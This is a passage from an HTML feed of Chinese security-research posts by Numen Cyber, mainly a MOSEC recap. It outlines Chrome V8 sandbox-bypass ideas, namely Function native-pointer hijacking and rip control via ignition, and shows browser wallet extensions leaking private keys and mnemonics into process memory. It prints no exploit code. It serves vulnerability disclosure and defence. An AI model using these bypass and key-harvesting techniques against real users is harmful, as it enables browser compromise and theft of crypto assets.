Arial, &#34;Segoe UI Emoji&#34;, sans-serif;letter-spacing: normal;orphans: 4;text-align: start;white-space: pre-wrap;background-color: rgb(255, 255, 255);font-size: 17px;">参考</span></strong></p><p cid="n69" mdtype="paragraph"><span md-inline="url" spellcheck="false" style=";"><a href="https://github.com/OctoPrint/OctoPrint/releases/tag/1.9.3" target="_blank">https://github.com/OctoPrint/OctoPrint/releases/tag/1.9.3</a></span></p><p cid="n70" mdtype="paragraph"><span md-inline="url" spellcheck="false" style=";"><a href="https://github.com/OctoPrint/OctoPrint/security/advisories/GHSA-fwfg-vprh-97ph" target="_blank">https://github.com/OctoPrint/OctoPrint/security/advisories/GHSA-fwfg-vprh-97ph</a></span></p><p cid="n71" mdtype="paragraph"><span md-inline="url" spellcheck="false" style=";"><a href="https://github.com/OctoPrint/OctoPrint/commit/d0072cff894509c77e243d6562245ad3079e17db" target="_blank">https://github.com/OctoPrint/OctoPrint/commit/d0072cff894509c77e243d6562245ad3079e17db</a></span></p><p cid="n72" mdtype="paragraph"><span md-inline="url" spellcheck="false" style=";"><a href="https://nvd.nist.gov/vuln/detail/CVE-2023-41047" target="_blank">https://nvd.nist.gov/vuln/detail/CVE-2023-41047</a></span></p><p cid="n72" mdtype="paragraph"><br/></p><section style="margin: 8px auto 16px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-wrap: wrap;background-color: rgb(255, 255, 255);"><section style="margin-bottom: -29px;outline: 0px;display: flex;justify-content: flex-end;"><section style="outline: 0px;width: 25px;height: 0px;overflow: hidden;"><br style="outline: 0px;"/></section></section></section><section style="margin-right: 10px;margin-bottom: 0px;margin-left: 10px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-wrap: wrap;background-color: rgb(255, 255, 255);"><section style="margin-top: 8px;margin-bottom: 16px;outline: 0px;width: 657px;border-bottom: 1px solid rgb(255, 216, 68);height: 1px;overflow: hidden;"><br style="outline: 0px;"/></section><section data-autoskip="1" style="padding: 10px 15px;outline: 0px;line-height: 1.75em;letter-spacing: 1.5px;font-size: 14px;color: rgb(71, 71, 71);background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;"><section style="margin: 8px 8px 16px;outline: 0px;color: rgba(0, 0, 0, 0.9);font-size: 17px;letter-spacing: 0.578px;line-height: 1.75em;"><span style="outline: 0px;font-size: 15px;color: rgb(48, 56, 65);letter-spacing: 1px;"></span></section><section data-tools="135编辑器" data-id="117004" style="outline: 0px;"><section data-role="outer" label="edit by 135editor" style="outline: 0px;"><section style="margin-top: 8px;margin-bottom: 16px;outline: 0px;"><section style="margin-top: 20px;margin-bottom: 20px;margin-left: 10px;outline: 0px;display: flex;justify-content: flex-start;align-items: center;"><section style="outline: 0px;display: flex;align-items: center;"><section style="outline: 0px;display: flex;align-items: center;"><section style="outline: 0px;flex-shrink: 0;"><section style="outline: 0px;width: 4px;height: 20px;background-color: rgb(238, 108, 98);border-radius: 15px;overflow: hidden;"><br style="outline: 0px;"/></section></section></section><section style="padding-right: 7px;padding-left: 7px;outline: 0px;font-size: 16px;color: rgb(51, 51, 51);text-align: center;"><strong data-brushtype="text" style="outline: 0px;">关于 Numen Cyber</strong></section></section></section></section></section></section></section></section><p style="outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-wrap: wrap;background-color: rgb(255, 255, 255);"><strong data-brushtype="text" style="outline: 0px;color: rgb(51, 51, 51);font-size: 16px;text-align: center;letter-spacing: 1.5px;"></strong></p><p style="outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-wrap: wrap;background-color: rgb(255, 255, 255);"><span style="outline: 0px;color: rgb(48, 56, 65);font-size: 15px;letter-spacing: 1px;">Numen Cyber 是链上威胁检测与防御的先驱，团队成员拥有在亚马逊、华为、百度、奇虎360等众多知名大厂与 OKlink，知道创宇，成都链安等知名 Web3 主体安全岗位从业经历。</span></p><p style="outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-wrap: wrap;background-color: rgb(255, 255, 255);"><span style="outline: 0px;color: rgb(48, 56, 65);font-size: 15px;letter-spacing: 1px;">拥有 Web2+Web3 多重安全技能储备的 Numen Cyber 旗下拥有 ImmunX 和 Leukocyte 两款安全产品，分别可在应用层和物理层为 Web3 项目提供保护。</span><span style="outline: 0px;color: rgb(48, 56, 65);font-size: 15px;letter-spacing: 1px;">其中 ImmunX 包含安全策略开放市场和合约防火墙等独创功能，可以为 Web3 生态提供一站式全方位的保护；</span><span style="outline: 0px;color: rgb(48, 56, 65);font-size: 15px;letter-spacing: 1px;">Leukocyte 则是保护服务器安全，实时检测黑客针对服务器的各种攻击并自动阻断、报警。</span></p><p style="outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-wrap: wrap;background-color: rgb(255, 255, 255);"><span style="outline: 0px;color: rgb(48, 56, 65);font-size: 15px;letter-spacing: 1px;">目前 Numen Cyber 的合作伙伴包括不限于 Binance，Cobo，Suiet 等，也包括中国移动、中国电信、中国联通，以及阿里云、腾讯、华为、亚马逊、微软等。</span></p><section data-role="outer" label="edit by 135editor" style="margin-bottom: 0px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-wrap: wrap;background-color: rgb(255, 255, 255);"><section data-tools="135编辑器" data-id="122336" style="outline: 0px;"><section style="margin-right: 10px;margin-left: 10px;outline: 0px;"><section style="margin-top: 8px;margin-bottom: 16px;outline: 0px;width: 657px;border-top: 1px solid rgb(255, 216, 68);height: 1px;overflow: hidden;"><br style="outline: 0px;"/></section></section></section><section data-role="paragraph" style="outline: 0px;"><section style="margin-top: 8px;margin-bottom: 16px;outline: 0px;"><br style="outline: 0px;"/></section></section></section><section style="margin: 8px 0cm 16px;outline: 0px;letter-spacing: 0.544px;text-wrap: wrap;caret-color: rgb(34, 34, 34);color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);font-size: 15px;font-family: Calibri, sans-serif;text-align: center;line-height: normal;"><span style="outline: 0px;font-weight: bolder;">Numen 官网</span></section><section style="margin: 8px 0cm 16px;outline: 0px;letter-spacing: 0.544px;text-wrap: wrap;caret-color: rgb(34, 34, 34);color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);font-size: 15px;font-family: Calibri, sans-serif;text-align: center;line-height: normal;"><span style="outline: 0px;font-style: italic;">ht</span><span style="outline: 0px;font-style: italic;letter-spacing: 0.544px;">tps://numencyber.com/ </span></section><section style="margin: 8px 0cm 16px;outline: 0px;letter-spacing: 0.544px;text-wrap: wrap;caret-color: rgb(34, 34, 34);color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);font-size: 15px;font-family: Calibri, sans-serif;text-align: center;line-height: normal;"><span style="outline: 0px;font-weight: bolder;">GitHub</span></section><section style="margin: 8px 0cm 16px;outline: 0px;letter-spacing: 0.544px;text-wrap: wrap;caret-color: rgb(34, 34, 34);color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);font-size: 15px;font-family: Calibri, sans-serif;text-align: center;line-height: normal;"><span style="outline: 0px;font-style: italic;"><a href="https://github.com/NumenCyber" target="_blank">https://github.com/NumenCyber</a></span></section><section style="margin: 8px 0cm 16px;outline: 0px;letter-spacing: 0.544px;text-wrap: wrap;caret-color: rgb(34, 34, 34);color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);font-size: 15px;font-family: Calibri, sans-serif;text-align: center;line-height: normal;"><span style="outline: 0px;font-weight: bolder;">Twitter</span></section><section style="margin: 8px 0cm 16px;outline: 0px;letter-spacing: 0.544px;text-wrap: wrap;caret-color: rgb(34, 34, 34);color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);font-size: 15px;font-family: Calibri, sans-serif;text-align: center;line-height: normal;"><span style="outline: 0px;font-style: italic;"><a href="https://twitter.com/@numencyber" target="_blank">https://twitter.com/@numencyber</a></span></section><section style="margin: 8px 0cm 16px;outline: 0px;letter-spacing: 0.544px;text-wrap: wrap;caret-color: rgb(34, 34, 34);color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);font-size: 15px;font-family: Calibri, sans-serif;text-align: center;line-height: normal;"><span style="outline: 0px;font-weight: bolder;">Medium</span></section><section style="margin: 8px 0cm 16px;outline: 0px;letter-spacing: 0.544px;text-wrap: wrap;caret-color: rgb(34, 34, 34);color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);font-size: 15px;font-family: Calibri, sans-serif;text-align: center;line-height: normal;"><span style="outline: 0px;font-style: italic;"><a href="https://medium.com/@numencyberlabs" target="_blank">https://medium.com/@numencyberlabs</a></span></section><section style="margin: 8px 0cm 16px;outline: 0px;letter-spacing: 0.544px;text-wrap: wrap;caret-color: rgb(34, 34, 34);color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);font-size: 15px;font-family: Calibri, sans-serif;text-align: center;line-height: normal;"><span style="outline: 0px;font-weight: bolder;">LinkedIn</span></section><section style="margin: 8px 0cm 16px;outline: 0px;letter-spacing: 0.544px;text-wrap: wrap;caret-color: rgb(34, 34, 34);color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);font-size: 15px;font-family: Calibri, sans-serif;text-align: center;line-height: normal;"><span style="outline: 0px;font-style: italic;"><a href="https://www.linkedin.com/company/numencyber/" target="_blank">https://www.linkedin.com/company/numencyber/</a></span></section><p><strong><span style="caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;letter-spacing: normal;orphans: 4;text-align: start;white-space: pre-wrap;background-color: rgb(255, 255, 255);font-size: 17px;"><br/></span></strong></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="2247486097">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=a8f900b6&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg4MDcxNTc2NA%3D%3D%26mid%3D2247486097%26idx%3D1%26sn%3Da30cbe4c9a4f9c7e99a29b15de419aee%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Wed, 11 Oct 2023 19:30:00 +0800</pubDate>
    </item>
    <item>
      <title>MOSEC会后随想：浏览器安全、web3钱包插件端安全</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg4MDcxNTc2NA==&amp;mid=2247486077&amp;idx=1&amp;sn=bd18f4cf257b013f1b571c8a8964c190</link>
      <description>当黑客攻击目标用户浏览器时，多进程通信处于异常的时候，部分进程会卡死在系统中不会退出，此时多款存在私钥助记符泄漏的钱包，在与其他进程通信过程中将其长期保存在了僵尸进程中，黑客可不费吹灰之力将财产盗走。</description>
      <content:encoded><![CDATA[<p>
原创 <span>Numen cyber labs</span> <span>2023-10-04 11:10</span> <span style="display: inline-block;">新加坡</span>
</p>

<p>当黑客攻击目标用户浏览器时，多进程通信处于异常的时候，部分进程会卡死在系统中不会退出，此时多款存在私钥助记符泄漏的钱包，在与其他进程通信过程中将其长期保存在了僵尸进程中，黑客可不费吹灰之力将财产盗走。</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=6af02efc&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FvlekRjgqic0cDTbAgA8KmhALU7OJbKSUIs6HClDNBDKxwrMhCgsZuQTzWp7YKmMHeEUursozQ2CuJh6Jiap5rLSw%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p><span style="font-size: 18px;"><strong>0x01-前言</strong></span></p><p>2023年9月26日mosec在上海召开。借助BaijiuCon的机会，Numen Cyber 研究员@avboy1337 向参会者总结了绕过v8沙箱的思路，并演示了CVE-2023-21674从untrust权限提升到System权限的漏洞验证视频和一个最新版Android系统上触发的越界写漏洞演示视频。</p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.5571428571428572" data-s="300,640" style="" data-type="png" data-w="840" src="https://wechat2rss.xlab.app/img-proxy/?k=5f6ab08c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FvlekRjgqic0cDTbAgA8KmhALU7OJbKSUIMj1zMrmkibGrWJPb5P6gZPqTWQcPsVNWpZOlh3jjH2B6iaDv37micvNcQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.5" data-s="300,640" style="" data-type="png" data-w="940" src="https://wechat2rss.xlab.app/img-proxy/?k=9fcf89ff&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FvlekRjgqic0cDTbAgA8KmhALU7OJbKSUIaLdBcamfPtcb66nKEs0hmqfiawUsM4ia4mqibg6BlqfEZCMWhwy7iagUaA%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p>2023年8月4日，我们公开了Chrome最新版v8 sandbox绕过<span style="">。其本质是利用Function对象中的native指针未包装，实现劫持代码执行。</span></p><p><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: var(--articleFontsize);letter-spacing: 0.034em;">2023年9月20日，Man Yue Mo的Issue 1452137（CVE-2023-3420）公开，从公开的exp中可以看到，是用了JIT的function对象，本质也是使用的Function对象中的native指针劫持。</span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: var(--articleFontsize);letter-spacing: 0.034em;">经测试后发现在Chrome 116.0.5845.180版本之后，Function对象的指针劫持已经失效。</span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: var(--articleFontsize);letter-spacing: 0.034em;">至少在Function对象附近没有发现native指针。</span></p><p><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: var(--articleFontsize);letter-spacing: 0.034em;">在撰写exp时，Chrome render进程获得了相对读写能力后，借助ignition可实现控制rip，google 2023年 CTF中对该方法进行了提示。</span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: var(--articleFontsize);letter-spacing: 0.034em;">Numen研究员认为，如果想彻底对v8sbx进行封装，恐怕不得不考虑ignition中类似return等字节码处理。</span></p><p><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: var(--articleFontsize);letter-spacing: 0.034em;">实际上我们只要在v8相对读写范围内能够实现代码劫持，即可稳定绕过v8sbx，</span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: var(--articleFontsize);letter-spacing: 0.034em;color: rgb(217, 33, 66);">经过进一步尝试，发现最新版Chrome v8sbx绕过</span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: var(--articleFontsize);letter-spacing: 0.034em;">。</span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.475" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=2f8ac0cb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FvlekRjgqic0cDTbAgA8KmhALU7OJbKSUIH68FhwSEczeKXbHWteeYSGgSXt8Gibqrl5zW935VMSEdupysu1G9o8A%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="font-size: 11pt;font-family: Arial, sans-serif;color: rgb(0, 0, 0);font-variant-numeric: normal;font-variant-east-asian: normal;font-variant-alternates: normal;font-variant-position: normal;vertical-align: baseline;white-space: pre-wrap;">从①和②可以看到，对象位于v8相对读写内，高地址相同，同时内存区域属于可读可写。从③可以看到，我们能够实现控制rip。我们会在合适的时候将该方法尽快公开。</span></p><p><strong><span style="font-family: Arial, sans-serif;color: rgb(0, 0, 0);font-variant-numeric: normal;font-variant-east-asian: normal;font-variant-alternates: normal;font-variant-position: normal;vertical-align: baseline;white-space: pre-wrap;font-size: 17px;">0x02 - web3钱包插件</span></strong></p><p>由于Chrome的使用之广，影响之深远，web2作为web3的基础，某些特性直接影响了web3的安全基线。</p><p>这里仅以<span style="color: rgb(217, 33, 66);">钱包安全为例（或者私钥等key的处理基于垃圾收集算法的场景）</span>。由于底层采用了垃圾回收，引擎在间歇性扫描对象的过程中，没有在用户切换处理私钥或助记符的gui界面后立刻清理内存，导致私钥残留在内存中。实际上，一般并不仅仅是残留内存中，多数钱包还会将该私钥泄漏到主进程。</p><p>这里我们简单片面地描述钱包的安全基线：当黑客进入目标机器后，由于钱包的高度安全，黑客无法获取私钥密码助记符等关键信息。</p><p>然而，当钱包的设计基于垃圾回收算法时候，这个安全基线一般很难保证。上半年我们测试了多个插件钱包，几乎全部存在该漏洞。</p><p>甚至更坏的情况是：当黑客攻击目标用户浏览器时，多进程通信处于异常的时候，部分进程会卡死在系统中不会退出，此时多款存在私钥助记符泄漏的钱包，在与其他进程通信过程中将其长期保存在了僵尸进程中，黑客可不费吹灰之力将财产盗走。</p><p><img class="rich_pages wxw-img" data-ratio="0.22314814814814815" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=8c7d2196&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FvlekRjgqic0cDTbAgA8KmhALU7OJbKSUIjDQvjgbm6lwbC6TrxuErrdKHuycgppoLSu5zicCw687kv5xWuNiaeoXQ%2F640%3Fwx_fmt%3Dpng"/></p><p>私钥泄漏</p><p><img class="rich_pages wxw-img" data-ratio="0.12685185185185185" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=da52f97d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FvlekRjgqic0cDTbAgA8KmhALU7OJbKSUI1Dr9xuCWu8bI5Y9fouO6HuBibzZKKNcNN3icbTaywPxh1v0iaEIhmoyxg%2F640%3Fwx_fmt%3Dpng"/></p><p>助记符泄漏</p><p><strong>0x03 - 小结</strong><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: var(--articleFontsize);letter-spacing: 0.034em;"></span></p><p>Numen安全团队建议，我们在处理基于私钥key、助记符等信息时，需要针对性处理关键信息的交互，尤其是当基于v8组件（chrome/electron/CEF等）甚至基于垃圾回收算法时，应考虑到密钥残留问题。由于Chrome主进程与子进程自动通信，子进程与服务器通信不得不经过主进程，只要关键信息没有加密，则很难不泄漏到主进程。</p><p><strong>0x04 - 参考链接</strong></p><p><a href="https://twitter.com/numencyber/status/1706699102141178324" target="_blank">https://twitter.com/numencyber/status/1706699102141178324</a></p><p><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: var(--articleFontsize);letter-spacing: 0.034em;"><a href="https://medium.com/@numencyberlabs/use-native-pointer-of-function-to-bypass-the-latest-chrome-v8-sandbox-exp-of-issue1378239-251d9c5b0d14" target="_blank">https://medium.com/@numencyberlabs/use-native-pointer-of-function-to-bypass-the-latest-chrome-v8-sandbox-exp-of-issue1378239-251d9c5b0d14</a></span></p><p><br/></p><section style="margin: 8px auto 16px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-wrap: wrap;background-color: rgb(255, 255, 255);"><section style="margin-bottom: -29px;outline: 0px;display: flex;justify-content: flex-end;"><section style="outline: 0px;width: 25px;height: 0px;overflow: hidden;"><br style="outline: 0px;"/></section></section></section><section style="margin-right: 10px;margin-bottom: 0px;margin-left: 10px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-wrap: wrap;background-color: rgb(255, 255, 255);"><section style="margin-top: 8px;margin-bottom: 16px;outline: 0px;width: 657px;border-bottom: 1px solid rgb(255, 216, 68);height: 1px;overflow: hidden;"><br style="outline: 0px;"/></section><section data-autoskip="1" style="padding: 10px 15px;outline: 0px;line-height: 1.75em;letter-spacing: 1.5px;font-size: 14px;color: rgb(71, 71, 71);background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;"><section style="margin: 8px 8px 16px;outline: 0px;color: rgba(0, 0, 0, 0.9);font-size: 17px;letter-spacing: 0.578px;line-height: 1.75em;"><span style="outline: 0px;font-size: 15px;color: rgb(48, 56, 65);letter-spacing: 1px;"></span></section><section data-tools="135编辑器" data-id="117004" style="outline: 0px;"><section data-role="outer" label="edit by 135editor" style="outline: 0px;"><section style="margin-top: 8px;margin-bottom: 16px;outline: 0px;"><section style="margin-top: 20px;margin-bottom: 20px;margin-left: 10px;outline: 0px;display: flex;justify-content: flex-start;align-items: center;"><section style="outline: 0px;display: flex;align-items: center;"><section style="outline: 0px;display: flex;align-items: center;"><section style="outline: 0px;flex-shrink: 0;"><section style="outline: 0px;width: 4px;height: 20px;background-color: rgb(238, 108, 98);border-radius: 15px;overflow: hidden;"><br style="outline: 0px;"/></section></section></section><section style="padding-right: 7px;padding-left: 7px;outline: 0px;font-size: 16px;color: rgb(51, 51, 51);text-align: center;"><strong data-brushtype="text" style="outline: 0px;">关于 Numen Cyber</strong></section></section></section></section></section></section></section></section><p><strong data-brushtype="text" style="color: rgb(51, 51, 51);font-size: 16px;text-align: center;background-color: rgb(255, 255, 255);font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 1.5px;outline: 0px;"></strong></p><p><span style="color: rgb(48, 56, 65);font-size: 15px;letter-spacing: 1px;background-color: rgb(255, 255, 255);font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">Numen Cyber 是链上威胁检测与防御的先驱，团队成员拥有在亚马逊、华为、百度、奇虎360等众多知名大厂与 OKlink，知道创宇，成都链安等知名 Web3 主体安全岗位从业经历。</span></p><p><span style="color: rgb(48, 56, 65);font-size: 15px;letter-spacing: 1px;background-color: rgb(255, 255, 255);font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">拥有 Web2+Web3 多重安全技能储备的 Numen Cyber 旗下拥有 ImmunX 和 Leukocyte 两款安全产品，分别可在应用层和物理层为 Web3 项目提供保护。</span><span style="color: rgb(48, 56, 65);font-size: 15px;letter-spacing: 1px;background-color: rgb(255, 255, 255);font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">其中 ImmunX 包含安全策略开放市场和合约防火墙等独创功能，可以为 Web3 生态提供一站式全方位的保护；</span><span style="color: rgb(48, 56, 65);font-size: 15px;letter-spacing: 1px;background-color: rgb(255, 255, 255);font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">Leukocyte 则是保护服务器安全，实时检测黑客针对服务器的各种攻击并自动阻断、报警。</span></p><p><span style="color: rgb(48, 56, 65);font-size: 15px;letter-spacing: 1px;background-color: rgb(255, 255, 255);font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">目前 Numen Cyber 的合作伙伴包括不限于 Binance，Cobo，Suiet 等，也包括中国移动、中国电信、中国联通，以及阿里云、腾讯、华为、亚马逊、微软等。</span></p><section data-role="outer" label="edit by 135editor" style="margin-bottom: 0px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-wrap: wrap;background-color: rgb(255, 255, 255);"><section data-tools="135编辑器" data-id="122336" style="outline: 0px;"><section style="margin-right: 10px;margin-left: 10px;outline: 0px;"><section style="margin-top: 8px;margin-bottom: 16px;outline: 0px;width: 657px;border-top: 1px solid rgb(255, 216, 68);height: 1px;overflow: hidden;"><br style="outline: 0px;"/></section></section></section><section data-role="paragraph" style="outline: 0px;"><section style="margin-top: 8px;margin-bottom: 16px;outline: 0px;"><br style="outline: 0px;"/></section></section></section><section style="margin: 8px 0cm 16px;outline: 0px;letter-spacing: 0.544px;text-wrap: wrap;caret-color: rgb(34, 34, 34);color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);font-size: 15px;font-family: Calibri, sans-serif;text-align: center;line-height: normal;"><span style="outline: 0px;font-weight: bolder;">Numen 官网</span></section><section style="margin: 8px 0cm 16px;outline: 0px;letter-spacing: 0.544px;text-wrap: wrap;caret-color: rgb(34, 34, 34);color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);font-size: 15px;font-family: Calibri, sans-serif;text-align: center;line-height: normal;"><span style="outline: 0px;font-style: italic;">ht</span><span style="outline: 0px;font-style: italic;letter-spacing: 0.544px;">tps://numencyber.com/ </span></section><section style="margin: 8px 0cm 16px;outline: 0px;letter-spacing: 0.544px;text-wrap: wrap;caret-color: rgb(34, 34, 34);color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);font-size: 15px;font-family: Calibri, sans-serif;text-align: center;line-height: normal;"><span style="outline: 